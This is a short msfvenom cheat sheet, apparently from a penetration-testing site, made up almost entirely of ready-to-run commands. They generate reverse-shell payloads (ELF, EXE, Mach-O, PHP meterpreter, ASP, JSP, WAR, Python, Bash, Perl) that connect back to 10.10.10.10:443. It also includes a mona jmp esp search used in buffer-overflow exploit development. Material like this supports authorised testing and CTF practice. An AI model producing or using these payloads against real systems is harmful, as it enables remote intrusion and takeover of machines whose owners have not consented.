MSFvenom Cheat Sheet
To make things easy, we made input fields. Fill in the IP and port, and we will change all the payloads to your needs!
mona-misc
!mona jmp -r esp -cpb "\x0A\x0D\x00\xFF"
linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf > shell.elf
windows
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -a x86 -b '\x0a\x0d\x00\xFF' -f exe > shell.exe
mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f macho > shell.macho
php
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f raw > shell.php
asp
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f asp > shell.asp
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f raw > shell.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f war > shell.war
python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.10.10 LPORT=443 -f raw > shell.py
bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=443 -f raw > shell.sh
perl
msfvenom -p cmd/unix/reverse_perl LHOST=10.10.10.10 LPORT=443 -f raw > shell.pl